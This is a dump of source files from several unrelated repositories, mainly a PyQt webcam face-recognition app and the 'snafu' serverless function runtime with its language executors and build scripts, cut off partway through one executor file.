repo
stringlengths 5
121
| content
stringlengths 35
2.09M
|
|---|---|
00-01/temp
|
00-01/temp
base.py
```import os
import sys
from time import time
import cv2
import face_recognition as fr
import numpy as np
from PyQt5 import QtWidgets
from PyQt5.QtCore import QThread, pyqtSignal, Qt
from PyQt5.QtGui import QPixmap, QImage, QScreen
from PyQt5.QtWidgets import QDialog, QMessageBox, QApplication
from PyQt5.uic import loadUi
from db import access_db
class Main(QDialog):
def __init__(self):
super(Main, self).__init__()
loadUi('ui/login.ui', self)
self.loginButton.clicked.connect(self.login)
self.signupButton.clicked.connect(self.create)
self.PW.setEchoMode(QtWidgets.QLineEdit.Password)
def login(self):
id = self.ID.text()
pw = self.PW.text()
print(f'{id} has logged in')
widget.addWidget(Face_Recognition())
widget.setCurrentIndex(widget.currentIndex()+1)
def create(self):
widget.addWidget(Signup())
widget.setCurrentIndex(widget.currentIndex()+1)
class Signup(QDialog):
def __init__(self):
super(Signup, self).__init__()
loadUi('ui/signup.ui', self)
self.signupButton.clicked.connect(self.createId)
self.PW.setEchoMode(QtWidgets.QLineEdit.Password)
self.PW_2.setEchoMode(QtWidgets.QLineEdit.Password)
def createId(self):
id = self.ID.text()
if self.PW.text() == self.PW_2.text():
pw = self.PW.text()
print(f'create ID: {id} success!')
widget.addWidget(Main())
widget.setCurrentIndex(widget.currentIndex()+1)
cam_num = '/dev/video0'
cap = cv2.VideoCapture(cam_num, cv2.CAP_V4L2)
distance = 0.35
path = 'new/'
ext = '.jpg'
class Face_Recognition(QDialog):
def __init__(self):
super(Face_Recognition, self).__init__()
loadUi("ui/face_rec.ui", self)
self.add.clicked.connect(self.add_new_id)
self.run = Run_Camera()
self.run.start()
self.run.ImageUpdate.connect(self.ImageUpdateSlot)
def ImageUpdateSlot(self, Image):
self.imgLabel.setPixmap(QPixmap.fromImage(Image))
self.imgLabel.setScaledContents(True)
def add_new_id(self):
self.run.stop()
widget.addWidget(Save())
widget.setCurrentIndex(widget.currentIndex()+1)
class Run_Camera(QThread):
ImageUpdate = pyqtSignal(QImage)
def run(self):
_, _, col, error_col = access_db()
n = list(col.find({}))
names = [i['name'] for i in n]
id = [j['id'] for j in n]
self.ThreadActive = True
while self.ThreadActive:
s = time()
ret, frame = cap.read()
if ret == False:
break
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
frame = cv2.flip(frame, 1)
face_locations = fr.face_locations(frame)
face_encodings = fr.face_encodings(frame, face_locations)
for (top, right, bottom, left), face_encoding in zip(face_locations, face_encodings):
name = "- - -"
face_distances = fr.face_distance(id, face_encoding) # calculate the distances from input to matches
best_match_index = np.argmin(face_distances) # select the lowest distance index
if face_distances[best_match_index] < distance:
name = names[best_match_index]
cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)
cv2.putText(frame, name, (left - 1, bottom + 24), cv2.FONT_HERSHEY_DUPLEX, 1.0, (255, 0, 0), 1)
print('name : ', name)
# calculate fps
seconds = time() - s
fps = 1 / seconds
fps = ("%.2f" % fps)
print(f"fps : {fps}", '\n')
img = QImage(frame.data, frame.shape[1], frame.shape[0], QImage.Format_RGB888)
self.ImageUpdate.emit(img)
def stop(self):
self.ThreadActive = False
self.quit()
class Save(QDialog):
def __init__(self):
super(Save, self).__init__()
loadUi('ui/save.ui', self)
self.save.clicked.connect(self.capture)
self.retrn.clicked.connect(self.face_rec)
self.take_photo = Take_photo()
self.take_photo.start()
self.take_photo.ImageUpdate.connect(self.ImageUpdateSlot)
def capture(self):
# fix image size
screenshot = QScreen.grabWindow(app.primaryScreen(), widget.winId(), 0, 0, 800, 600)
msg = QMessageBox()
msg.setWindowFlag(Qt.WindowStaysOnTopHint)
msg.setIconPixmap(QPixmap(screenshot))
msg.setText('저장 하시겠습니까?')
msg.setStandardButtons(QMessageBox.No|QMessageBox.Yes)
x = msg.exec_()
if x == QMessageBox.Yes:
name = self.name.text()
captured_img = path + name + ext
screenshot.save(captured_img)
_, _, col, error_col = access_db()
with open(captured_img, "rb") as data:
photo = data.read()
try:
id = fr.face_encodings(fr.load_image_file(captured_img), model='large')[0]
data = {'name': name, 'id': id.tolist(), 'photo': photo}
col.insert_one(data)
print('저장 완료!! : ', name)
except IndexError:
error_col.insert_one({'name': name})
os.remove(captured_img)
print('warning! face not detected! : ', name)
# client.close()
else: pass
def face_rec(self):
widget.addWidget(Face_Recognition())
widget.setCurrentIndex(widget.currentIndex()+1)
def ImageUpdateSlot(self, Image):
self.imgLabel.setPixmap(QPixmap.fromImage(Image))
self.imgLabel.setScaledContents(True)
class Take_photo(QThread):
ImageUpdate = pyqtSignal(QImage)
def run(self):
self.ThreadActive = True
# # cap = cv2.VideoCapture(cam_num)
while self.ThreadActive:
ret, frame = cap.read()
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
frame = cv2.flip(frame, 1)
img = QImage(frame.data, frame.shape[1], frame.shape[0], QImage.Format_RGB888)
self.ImageUpdate.emit(img)
def stop(self):
cap.release()
cv2.destroyAllWindows()
self.ThreadActive = False
self.quit()
app = QApplication(sys.argv)
main = Main()
widget = QtWidgets.QStackedWidget()
widget.addWidget(main)
# widget.setFixedHeight(1280)
# widget.setFixedWidth(800)
# widget.move(QApplication.desktop().screen().rect().center()- rect().center())
widget.setWindowFlag(Qt.WindowStaysOnTopHint)
widget.show()
sys.exit(app.exec_())
```
essential.py
```from time import time
import concurrent.futures as cf
import cv2
import face_recognition as fr
import numpy as np
from db import access_db
# import concurrent.futures as cf
_, _, col, error_col = access_db()
n = list(col.find({}))
names = [i['name'] for i in n]
id = [j['id'] for j in n]
cap = cv2.VideoCapture(0)
distance = 0.35
def run():
while True:
s = time()
ret, frame = cap.read()
# frame1 = frame[:, :, ::-1]
# frame1 = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
frame = cv2.flip(frame, 1)
face_locations = fr.face_locations(frame)
face_encodings = fr.face_encodings(frame, face_locations)
for (y, x1, y1, x), face_encoding in zip(face_locations, face_encodings):
name = "- - -"
face_distances = fr.face_distance(id, face_encoding) # calculate the distances from input to matches
best_match_index = np.argmin(face_distances) # select the lowest distance index
if face_distances[best_match_index] < distance:
name = names[best_match_index]
cv2.rectangle(frame, (x, y), (x1, y1), (0, 0, 255), 2)
cv2.putText(frame, name, (x - 1, y1 + 24), cv2.FONT_HERSHEY_DUPLEX, 1.0, (255, 0, 0), 1)
print('name : ', name)
# calculate fps
seconds = time() - s
fps = 1 / seconds
fps = ("%.2f" % fps)
print(f"fps : {fps}", '\n')
cv2.imshow('frame', frame)
if cv2.waitKey(1) == 27:
break
run()```
|
0072016/-.-.-.-.-.----.---..
|
0072016/-.-.-.-.-.----.---..
CHANGELOG.md
```# Changelog
## 0.1.0
- fix checkFormat task to use the passed folders instead of `.`
- initial release
- add default Grinder tasks
```
README.md
```# BWU Utils Dev
[](https://github.com/bwu-dart/bwu_utils_dev)
[](https://pub.dartlang.org/packages/bwu_utils_dev)
[](https://travis-ci.org/bwu-dart/bwu_utils_dev)
[](https://coveralls.io/r/bwu-dart/bwu_utils_dev)
Just a collection of utilities I want to reuse in my other packages.
```
|
007arunwilson/react-native-firebase
|
007arunwilson/react-native-firebase
README.md
```## React Native Application with Firebase
- Firebase notification Implemented ( google-services.json file is git ignored )
```
|
00mjk/snafu
|
00mjk/snafu
test.c
```const char *handler(const char *input)
{
return "Hello World";
}
```
docker.py
```# Snafu: Snake Functions - Docker Executor
import requests
import os
import configparser
import time
import random
container = "jszhaw/snafu"
endpoints = {}
multi = 3
authorised = True
def launch(tenant, portnum):
authmount = ""
if authorised:
accdb = os.path.expanduser("~/.snafu-accounts")
accdir = os.path.expanduser("~/.snafu-accounts-tenants/{}".format(tenant))
if os.getenv("HOME") == "/":
accdb = "/root/.snafu-accounts"
accdir = "/root/.snafu-accounts-tenants/{}".format(tenant)
c = configparser.ConfigParser()
try:
c.read(accdb)
except:
pass
else:
sections = c.sections()
secretkey = None
for section in sections:
ckeyid = c.get(section, "access_key_id")
if ckeyid == tenant:
secretkey = c.get(section, "secret_access_key")
break
if secretkey:
authmount = "-v {}:/root/.aws".format(accdir)
os.makedirs(accdir, exist_ok=True)
c = configparser.ConfigParser()
acc = "default"
c.add_section(acc)
c.set(acc, "aws_access_key_id", tenant)
c.set(acc, "aws_secret_access_key", secretkey)
f = open("{}/credentials".format(accdir), "w")
c.write(f)
f.close()
c = configparser.ConfigParser()
acc = "default"
c.add_section(acc)
c.set(acc, "region", "invalid")
f = open("{}/config".format(accdir), "w")
c.write(f)
f.close()
dockercmd = "docker run -d -p 127.0.0.1:{}:10000 -v /opt/functions-tenants/{}:/opt/functions-local {} {}".format(portnum, tenant, authmount, container)
os.system(dockercmd)
def executecontrol(flaskrequest, tenant):
if not tenant in endpoints:
if multi:
endpoints[tenant] = []
for i in range(multi):
entries = sum([len(x) if type(x) == list else 1 for x in endpoints.values()])
portnum = 10000 + entries + 1
endpoints[tenant].append("http://localhost:{}".format(portnum))
launch(tenant, portnum)
else:
entries = len(endpoints)
portnum = 10000 + entries + 1
endpoints[tenant] = "http://localhost:{}".format(portnum)
launch(tenant, portnum)
time.sleep(2)
endpoint = endpoints[tenant]
if multi:
endpoint = random.choice(endpoint)
#print("CHOICE", endpoint)
headers = {}
headers["X-Amz-Date"] = flaskrequest.headers.get("X-Amz-Date")
data = flaskrequest.data.decode("utf-8")
#method=r.method -> requests.post
reply = requests.post(endpoint + flaskrequest.path, data=data, headers=headers)
if reply.status_code == 200:
return reply.content.decode("utf-8")
else:
return
```
fib.c
```#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int fib(int n)
{
if(n < 2)
return 1;
else
return fib(n - 1) + fib(n - 2);
}
const char *handler(const char *input)
{
int n = atoi(input);
n = fib(n);
char result[100];
snprintf(result, sizeof(result) - 1, "%d", n);
return strdup(result);
}
```
publisher.py
```# Syntax: python3 publisher.py amqp://guest:guest@localhost:6379/
from kombu import Connection
import datetime
import sys
with Connection(sys.argv[1]) as conn:
try:
simple_queue = conn.SimpleQueue('sslq')
except:
print('Error: connection to broker or queue failed.')
exit()
message = 'helloword, sent at %s' % datetime.datetime.today()
simple_queue.put(message)
print('Sent: %s' % message)
simple_queue.close()
```
cexec.c
```#include <stdio.h>
#include <dlfcn.h>
int main(int argc, char *argv[])
{
void *handler;
const char *(*handlerfunc)(const char*);
const char *ret;
if(argc != 3)
{
fprintf(stderr, "Syntax: cexec <handler.so> <inputarg>\n");
return -1;
}
handler = dlopen(argv[1], RTLD_NOW);
*(void**)(&handlerfunc) = dlsym(handler, "handler");
ret = (*handlerfunc)(argv[2]);
printf("ret:%s\n", ret);
dlclose(handler);
return 0;
}
```
python3.py
```# Snafu: Snake Functions - Python3 Executor
import json
import subprocess
import pickle
import base64
def strbool(x):
return True if x == "True" else False
def execute(func, funcargs, envvars, sourceinfos):
for i, funcarg in enumerate(funcargs):
if "__class__" in dir(funcarg) and funcarg.__class__.__name__ == "SnafuContext":
funcargs[i] = "pickle:" + base64.b64encode(pickle.dumps(funcarg)).decode("utf-8")
funcargs = json.dumps(funcargs)
envvars = json.dumps(envvars)
p = subprocess.run("python3 snafulib/executors/python3-exec.py {} {} '{}' '{}'".format(sourceinfos.source, func.__name__, funcargs, envvars), stdout=subprocess.PIPE, shell=True)
try:
dtime, success, *res = p.stdout.decode("utf-8").strip().split(" ")
except:
dtime = 0.0
success = False
res = []
dtime = float(dtime)
success = strbool(success)
res = " ".join(res)
#print("PY2", res)
return dtime, success, res
```
Hello.java
```/*package example;*/
/*import com.amazonaws.services.lambda.runtime.Context;*/
public class Hello {
public String myHandler(int myCount, /*Context*/ Object context) {
return String.valueOf(myCount);
}
public final static void main(String[] args)
{
System.out.println(new Hello().myHandler(10, null));
}
}
```
python2-exec.py
```# Snafu: Snake Functions - Python2 Executor (Exec Module)
import sys
import os
import time
import json
import base64
import pickle
class Context:
def __init__(self):
self.SnafuContext = self
def __new__(self, x):
return x
def execute(filename, func, funcargs, envvars):
if funcargs.startswith("tempfile:"):
funcargs = open(funcargs[9:]).read()
funcargs = json.loads(funcargs)
envvars = json.loads(envvars)
for i, funcarg in enumerate(funcargs):
if type(funcarg) == str and funcarg.startswith("pickle:"):
sys.modules["lib"] = Context()
sys.modules["lib.snafu"] = Context()
funcarg = pickle.loads(base64.b64decode(funcarg.split(":")[1]))
sys.path.append(".")
os.chdir(os.path.dirname(filename))
mod = __import__(os.path.basename(filename[:-3]))
func = getattr(mod, func)
for envvar in envvars:
os.environ[envvar] = envvars[envvar]
stime = time.time()
try:
res = func(*funcargs)
success = True
except Exception as e:
res = e
success = False
dtime = (time.time() - stime) * 1000
#return dtime, success, res
return "{} {} {}".format(dtime, success, "{}".format(res).replace("'", "\""))
print(execute(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]))
```
patch-gcloud
```#!/bin/bash
gcloudfolder=`gcloud info | grep "Installation Root" | cut -d "[" -f 2 | cut -d "]" -f 1`
if [ ! -z "$gcloudfolder" ]
then
file=$gcloudfolder/lib/googlecloudsdk/third_party/apis/cloudfunctions/v1beta2/cloudfunctions_v1beta2_client.py
echo "Patching $file..."
sed -i -e "s,^ BASE_URL = u'https://cloudfunctions.googleapis.com/', BASE_URL = u'http://localhost:10000/'," $file
fi
```
c.py
```# Snafu: Snake Functions - C Parser
import os
def activatefile(self, source, convention, SnafuFunctionSource):
if not os.path.isfile("snafulib/executors/c/cexec"):
pwd = os.getcwd()
os.chdir("snafulib/executors/c")
os.system("gcc -Wall -O2 -o cexec cexec.c -ldl")
os.chdir(pwd)
if source.endswith(".c"):
binfile = source.replace(".c", ".so")
if not os.path.isfile(binfile):
if not self.quiet:
print("» c source:", source)
pwd = os.getcwd()
os.chdir(os.path.dirname(source))
os.system("gcc -Wall -O2 -fPIC -shared -o {} {}".format(os.path.basename(binfile), os.path.basename(source)))
os.chdir(pwd)
source = binfile
else:
return
if not self.quiet:
print("» c module:", source)
funcname = os.path.basename(source).replace(".", "_") + ".handler"
funcparams = ["input"]
if not self.quiet:
print(" function: {} (unchecked)".format(funcname))
sourceinfos = SnafuFunctionSource(source, scan=False)
self.functions[funcname] = ([funcname] + funcparams, None, sourceinfos)
```
run-rabbit.sh
```#!/bin/bash
if [ ! -d rabbitmq_server-3.6.6 ]
then
if [ ! -f rabbitmq-server-generic-unix-3.6.6.tar.xz ]
then
wget -c http://www.rabbitmq.com/releases/rabbitmq-server/v3.6.6/rabbitmq-server-generic-unix-3.6.6.tar.xz
fi
tar xf rabbitmq-server-generic-unix-3.6.6.tar.xz
fi
cd rabbitmq_server-3.6.6
echo "** runing RabbitMQ **"
./sbin/rabbitmq-server
```
snafu-accounts
```#!/usr/bin/env python3
#
# Snafu: Snake Functions - Account Management Command-Line Tool
import snafulib.snafuaccounts
snafulib.snafuaccounts.SnafuAccountsRunner()
```
make-dist.sh
```#!/bin/bash
if [ -f ../setup.py ]
then
cd ..
fi
if [ ! -f setup.py ]
then
echo "Error: Needs to run from root directory." >&2
exit 1
fi
rm -rf dist
python3 setup.py sdist
python3 setup.py bdist_wheel
python3 setup.py bdist_egg
read -p "Upload? (y/n)" upload
if [ "$upload" = "y" ]
then
twine upload dist/*.*
fi
```
python2.py
```# Snafu: Snake Functions - Python2 Executor
import json
import subprocess
import pickle
import base64
import tempfile
def strbool(x):
return True if x == "True" else False
def execute(func, funcargs, envvars, sourceinfos):
for i, funcarg in enumerate(funcargs):
if "__class__" in dir(funcarg) and funcarg.__class__.__name__ == "SnafuContext":
funcargs[i] = "pickle:" + base64.b64encode(pickle.dumps(funcarg, protocol=2)).decode("utf-8")
funcargs = json.dumps(funcargs)
envvars = json.dumps(envvars)
if len(funcargs) > 256:
tf = tempfile.NamedTemporaryFile()
tf.write(bytes(funcargs, "utf-8"))
funcargs = "tempfile:" + tf.name
p = subprocess.run("python2 snafulib/executors/python2-exec.py {} {} '{}' '{}'".format(sourceinfos.source, func.__name__, funcargs, envvars), stdout=subprocess.PIPE, shell=True)
try:
dtime, success, *res = p.stdout.decode("utf-8").strip().split(" ")
except:
dtime = 0.0
success = False
res = []
dtime = float(dtime)
success = strbool(success)
res = " ".join(res)
#print("PY2", res)
return dtime, success, res
```
deploy-function.sh
```#!/bin/bash
ep=http://localhost:10000
if [ ! -z $1 ]
then
ep=$1
fi
if [ ! -f functions/localfib.py ]
then
echo "Error: Needs to run from root directory." >&2
exit 1
fi
cp functions/localfib.py testfib.py
echo "def lambda_handler(c, e):return fib(10)" >> testfib.py
zip testfib.zip testfib.py
rm testfib.py
aws --endpoint-url $ep lambda create-function --function-name testfib --runtime python3.5 --role notimportant --handler testfib.lambda_handler --zip-file fileb:///$PWD/testfib.zip
aws --endpoint-url $ep lambda list-functions
```
lambada.py
```# Snafu: Snake Functions - Lambada (Python) Parser
import os
import importlib
import types
import sys
import lambadalib.lambada
def activatefile(self, source, convention, SnafuFunctionSource):
sourceinfos = None
try:
sourceinfos = SnafuFunctionSource(source)
sourcecode = sourceinfos.content
except:
print("Warning: {} is not parseable, skipping.".format(source), file=sys.stderr)
return
if not self.quiet:
print("» module:", source)
loader = importlib.machinery.SourceFileLoader(os.path.basename(source), source)
mod = types.ModuleType(loader.name)
sourceinfos.module = mod
if not os.path.dirname(source) in sys.path:
sys.path.append(os.path.dirname(source))
try:
loader.exec_module(mod)
except Exception as e:
if not self.quiet:
print(" Warning: skipping due to import error: {}".format(e))
return
def moveinternal(moveglobals, function, arguments, body, local, lambdafunctions, imports, dependencies, tainted, features, role, debug, endpoint, globalvars, cfc):
if not self.quiet:
print(" function: {}".format(function))
self.functions[function] = (moveglobals[function], None, sourceinfos)
lambadalib.lambada.moveinternal = moveinternal
lambadalib.lambada.move(mod.__dict__, local=True)
```
build-docker-images.sh
```#!/bin/sh
if [ "$1" = "build" ]
then
rm -rf _snafu_clean_
git clone .. _snafu_clean_
#cd _snafu_clean_
cp Dockerfile* _snafu_clean_
docker build -t snafu -f _snafu_clean_/Dockerfile _snafu_clean_
docker tag snafu jszhaw/snafu
docker build -t snafucomplete -f _snafu_clean_/Dockerfile.complete _snafu_clean_
else
echo "# Note: Not building. Run with 'build' option to build."
fi
if [ "$1" = "release" ]
then
docker tag snafu jszhaw/snafu
docker tag snafucomplete jszhaw/snafucomplete
docker push jszhaw/snafu
docker push jszhaw/snafucomplete
else
echo "# Note: Not pushing. Run with 'release' option to push."
fi
```
javascript.py
```# Snafu: Snake Functions - JavaScript Parser
def activatefile(self, source, convention, SnafuFunctionSource):
if not self.quiet:
print("» javascript module:", source)
try:
import pyesprima.pyesprima3
except:
if not self.quiet:
print("Warning: javascript parser not ready for {}, skipping.".format(source), file=sys.stderr)
return
#pyesprima.pyesprima3.unichr = chr
try:
ast = pyesprima.pyesprima3.parse(open(source).read())
except Exception as e:
if not self.quiet:
print("Warning: {} is not parseable, skipping. [{}]".format(source, e), file=sys.stderr)
return
for body in ast.body:
if body.type == "FunctionDeclaration":
funcname = body["id"]["name"]
if funcname == "main":
funcname = os.path.basename(source).split(".")[0] + "." + funcname
if not self.quiet:
print(" function: {}".format(funcname))
sourceinfos = SnafuFunctionSource(source, scan=False)
funcparams = ["input"]
self.functions[funcname] = ([funcname] + funcparams, None, sourceinfos)
else:
if not self.quiet:
print(" skip function {}".format(funcname))
elif body.type == "ExpressionStatement":
if body.expression.left.type == "MemberExpression":
if body.expression.left.object.name == "exports":
funcname = body.expression.left.property.name
funcname = os.path.basename(source).split(".")[0] + "." + funcname
if not self.quiet:
print(" function: {}".format(funcname))
sourceinfos = SnafuFunctionSource(source, scan=False)
funcparams = ["req", "res"]
self.functions[funcname] = ([funcname] + funcparams, None, sourceinfos)
```
test-dist.sh
```#!/bin/bash
if [ -d ../dist ]
then
cd ..
fi
if [ ! -d dist ]
then
echo "Error: Needs to run from root directory." >&2
exit 1
fi
python3 setup.py bdist_egg
mkdir -p dist/test-dist
virtualenv -p python3 dist/test-dist
cp dist/snafu-0.0.0-py3.5.egg dist/test-dist
cd dist/test-dist
source bin/activate
easy_install -Z snafu-0.0.0-py3.5.egg
bash
```
javascript.py
```# Snafu: Snake Functions - JavaScript Executor
import subprocess
import time
import os.path
def execute(func, funcargs, envvars, sourceinfos):
sourcemodule = sourceinfos.source[:-3]
if "." in func:
func = func.split(".")[1]
# exports hack
sourcemodulemod = sourcemodule + ".js.export"
if not os.path.isfile(sourcemodulemod):
code = open(sourcemodule + ".js").read()
if not "exports" in code:
f = open(sourcemodulemod, "w")
f.write(code)
f.write("\n")
f.write("function mainwrapper(input){console.log(main(input));}\n")
f.write("exports.main = mainwrapper;\n")
sourcemodule = sourcemodulemod
else:
sourcemodule = sourcemodulemod
# message hack
if not "{" in funcargs[0]:
funcargs[0] = "\"{\"body\": {\"message\": \"%s\"}}\"" % funcargs[0]
if sourcemodulemod != sourcemodule:
cmd = "nodejs -e 'require(\"./%s\").%s(%s, {\"status\": function(x){return {\"send\": function(x){console.log(\"RET:\" + x)}}}})'" % (sourcemodule, func, funcargs[0])
else:
cmd = "nodejs -e 'require(\"./%s\").%s(%s)'" % (sourcemodule, func, funcargs[0])
stime = time.time()
p = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)
out = p.stdout.decode("utf-8")
dtime = time.time() - stime
success = False
res = []
for line in out.split("\n"):
if sourcemodulemod != sourcemodule:
if line.startswith("RET:"):
success = True
res = line[4:]
break
else:
success = True
res = line
break
return dtime, success, res
```
JavaExec.java
```import java.net.URL;
import java.net.URLClassLoader;
import java.net.MalformedURLException;
import java.lang.reflect.Method;
import java.lang.reflect.Parameter;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
import java.util.ArrayList;
class FunctionLoader
{
private Method function = null;
private Object object = null;
private boolean debug = false;
public FunctionLoader(boolean debug)
{
this.debug = debug;
}
private void logfail(String context, String s)
{
System.err.println("ERROR: [" + String.format("%12s", context) + "] " + s);
}
private void debug(String context, String s)
{
System.out.println("DEBUG: [" + String.format("%12s", context) + "] " + s);
}
public void load(String classname, String methodname)
{
URL url = null;
try
{
url = new URL("file://./" + classname + ".class");
}
catch(MalformedURLException e)
{
this.logfail(classname, "Inaccessible function: " + e.toString());
return;
}
URL[] urls = {url};
URLClassLoader loader = new URLClassLoader(urls);
Class plc = null;
try
{
plc = Class.forName(classname, true, loader);
}
catch(ClassNotFoundException e)
{
this.logfail(classname, "Invalid function: " + e.toString());
return;
}
Object plo = null;
try
{
plo = plc.newInstance();
}
catch(InstantiationException|IllegalAccessException e)
{
this.logfail(classname, "Function initialisation failure: " + e.toString());
return;
}
Method method = null;
//try
{
//method = plc.getMethod(methodname, Object.class, Object.class);
//method = plc.getMethod(methodname, new Class[]{});
Method[] methods = plc.getMethods();
for(Method cmethod : methods)
{
if(methodname.equals("SCAN"))
{
if((!cmethod.getName().equals("wait"))
&& (!cmethod.getName().equals("equals"))
&& (!cmethod.getName().equals("toString"))
&& (!cmethod.getName().equals("hashCode"))
&& (!cmethod.getName().equals("getClass"))
&& (!cmethod.getName().equals("notify"))
&& (!cmethod.getName().equals("notifyAll")))
{
Parameter[] parameters = cmethod.getParameters();
String params = "";
for(Parameter p : parameters)
params += " " + p.getName();
System.out.println(cmethod.getName() + params);
}
}
else if(cmethod.getName().equals(methodname))
{
method = cmethod;
}
}
}
/*catch(NoSuchMethodException e)
{
this.logfail(classname, "Method assignment failure: " + e.toString());
return;
}*/
if(method != null)
{
this.object = plo;
this.function = method;
}
}
public void exec(Object[] parametervalues)
{
String functionname = this.function.getName();
Parameter[] parametertypes = this.function.getParameters();
debug(functionname, this.function.toString());
debug(functionname, parametertypes.toString());
for(Parameter p : parametertypes)
debug(functionname, p.toString());
if(parametervalues.length != parametertypes.length)
{
this.logfail(functionname, "Non-matching parameter count.");
}
List<Object> parameterlist = new ArrayList<Object>();
for(int i = 0; i < parametervalues.length; i++)
{
Object p = parametervalues[i];
if(parametertypes[i].getType() == int.class)
p = Integer.parseInt((String)p);
parameterlist.add(p);
}
Object[] parameters = parameterlist.toArray();
Object result = null;
try
{
result = this.function.invoke(this.object, parameters);
}
catch(IllegalAccessException|InvocationTargetException e)
{
this.logfail(functionname, "Method invocation failure: " + e.toString());
return;
}
System.out.println(result);
}
}
public class JavaExec
{
public JavaExec()
{
}
public void init(String classname, String methodname, Object[] parametervalues)
{
FunctionLoader fl = new FunctionLoader(false);
fl.load(classname, methodname);
if(!methodname.equals("SCAN"))
{
fl.exec(parametervalues);
}
}
public final static void main(String[] args)
{
ArrayList<String> params = new ArrayList<String>();
for(int i = 2; i < args.length; i++)
params.add(args[i]);
JavaExec exec = new JavaExec();
exec.init(args[0], args[1], params.toArray());
}
}
```
inmemstateless.py
```# Snafu: Snake Functions - In-Memory Stateless (Isolated) Executor
import os
import time
import importlib.machinery
def execute(func, funcargs, envvars, sourceinfos):
loader = importlib.machinery.SourceFileLoader(os.path.basename(sourceinfos.source), sourceinfos.source)
loader.exec_module(sourceinfos.module)
for envvar in envvars:
os.environ[envvar] = envvars[envvar]
stime = time.time()
try:
res = func(*funcargs)
success = True
except Exception as e:
res = e
success = False
dtime = (time.time() - stime) * 1000
return dtime, success, res
```
setup.py
```# python3 setup.py sdist
# python3 setup.py bdist_wheel
# python3 setup.py bdist_egg
# twine upload dist/*.* [-r testpypi]
# -> automated in tools/make-dist.sh
from setuptools import setup
import os
with open("README", "r") as fh:
long_description = fh.read()
setup(
name="snafu",
description="Swiss Army Knife of Serverless Computing",
long_description=long_description,
version="0.0.3",
url="https://github.com/serviceprototypinglab/snafu",
author="Josef Spillner",
author_email="josef.spillner@zhaw.ch",
license="Apache 2.0",
classifiers=[
"Development Status :: 2 - Pre-Alpha",
"Environment :: Console",
"Environment :: No Input/Output (Daemon)",
"Intended Audience :: Science/Research",
"License :: OSI Approved :: Apache Software License",
"Programming Language :: Python :: 3",
"Topic :: Internet :: WWW/HTTP :: WSGI :: Middleware"
],
keywords="cloud faas serverless functions",
packages=["snafulib", "snafulib.executors", "snafulib.loggers", "snafulib.authenticators", "snafulib.connectors"],
scripts=["snafu", "snafu-import", "snafu-accounts", "snafu-control"],
install_requires=["flask"]
)
```
helloworldpy2.py
```def helloworld():
return str(5 / 2)
```
python2stateful.py
```# Snafu: Snake Functions - Python2 Stateful Executor
#import json
import subprocess
#import pickle
#import base64
import threading
import queue
import os
import time
firstcall = {}
def asynccommand(command, commandprocess, qerr, qout, inputline, wait=True):
def queuethread(out, queue):
try:
for line in iter(out.readline, b""):
line = line.decode("utf-8").strip()
queue.put(line)
except Exception as e:
pass
if not commandprocess:
commandprocess = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
commandprocess.stdin.write(bytes(inputline + "\n", "utf-8"))
commandprocess.stdin.flush()
if not qout and not qerr:
qout = queue.Queue()
qerr = queue.Queue()
tout = threading.Thread(target=queuethread, args=(commandprocess.stdout, qout))
tout.daemon = True
tout.start()
terr = threading.Thread(target=queuethread, args=(commandprocess.stderr, qerr))
terr.daemon = True
terr.start()
if not wait:
return commandprocess, qerr, qout, ""
results = ""
had_output = False
counter = 0
while True:
both_empty = True
try:
line = qout.get(timeout=0.001)
except queue.Empty:
pass
else:
had_output = True
both_empty = False
results += line
try:
line = qerr.get(timeout=0.001)
except queue.Empty:
pass
else:
#had_output = True
both_empty = False
#results += "(err)" + line
if had_output and both_empty:
return commandprocess, qerr, qout, results
#counter += 1
#if counter > 100:
# return commandprocess, qerr, qout, results
def execute_internal(func, funcargs, envvars, sourceinfos):
global firstcall
import_stmt1 = "import os"
import_stmt2 = "os.chdir('{}')".format(os.path.dirname(sourceinfos.source))
module = os.path.basename(sourceinfos.source)[:-3]
import_stmt3 = "import {}".format(module)
funcargsfmt = []
for funcarg in funcargs:
if type(funcarg) in (dict, list, int, float):
funcargsfmt.append(str(funcarg))
else:
funcargsfmt.append("\"{}\"".format(str(funcarg)))
funcargsfmt = ",".join(funcargsfmt)
exec_stmt = "{}.{}({})".format(module, func.__name__, funcargsfmt)
callid = threading.get_ident()
if not callid in firstcall:
proc, qerr, qout, r1 = asynccommand("python2 -iu", None, None, None, import_stmt1, wait=False)
proc, qerr, qout, r2 = asynccommand(None, proc, qerr, qout, import_stmt2, wait=False)
proc, qerr, qout, r3 = asynccommand(None, proc, qerr, qout, import_stmt3, wait=False)
firstcall[callid] = proc, qerr, qout
else:
proc, qerr, qout = firstcall[callid]
proc, qerr, qout, r4 = asynccommand(None, proc, qerr, qout, exec_stmt)
#for i, funcarg in enumerate(funcargs):
# if "__class__" in dir(funcarg) and funcarg.__class__.__name__ == "SnafuContext":
# funcargs[i] = "pickle:" + base64.b64encode(pickle.dumps(funcarg, protocol=2)).decode("utf-8")
# + envvars
#funcargs = json.dumps(funcargs)
#envvars = json.dumps(envvars)
return r4.replace("'", "\"")
def execute(func, funcargs, envvars, sourceinfos):
stime = time.time()
try:
res = execute_internal(func, funcargs, envvars, sourceinfos)
success = True
except Exception as e:
res = e
success = False
dtime = (time.time() - stime) * 1000
return dtime, success, res
```
lxc.py
```# Snafu: Snake Functions - LXC Executor
import os
import time
import lxc
#import io
#import sys
import tempfile
#def wrapper(func, funcargs):
# print(func(*funcargs))
def wrapper(funcwithargs):
print(funcwithargs[1](*funcwithargs[2:]), file=funcwithargs[0])
def execute(func, funcargs, envvars, sourceinfos):
for envvar in envvars:
os.environ[envvar] = envvars[envvar]
c = lxc.Container("snafu")
c.create("download", 0, {"dist": "alpine", "release": "3.6", "arch": "amd64"})
success = c.start()
if not success:
raise Exception("LXC permissions insufficient")
#channel = io.StringIO()
channel = tempfile.TemporaryFile(mode="w+", buffering=1)
stime = time.time()
try:
c.attach_wait(wrapper, (channel, func, *funcargs))
channel.seek(0)
res = channel.read().strip()
success = True
except Exception as e:
res = e
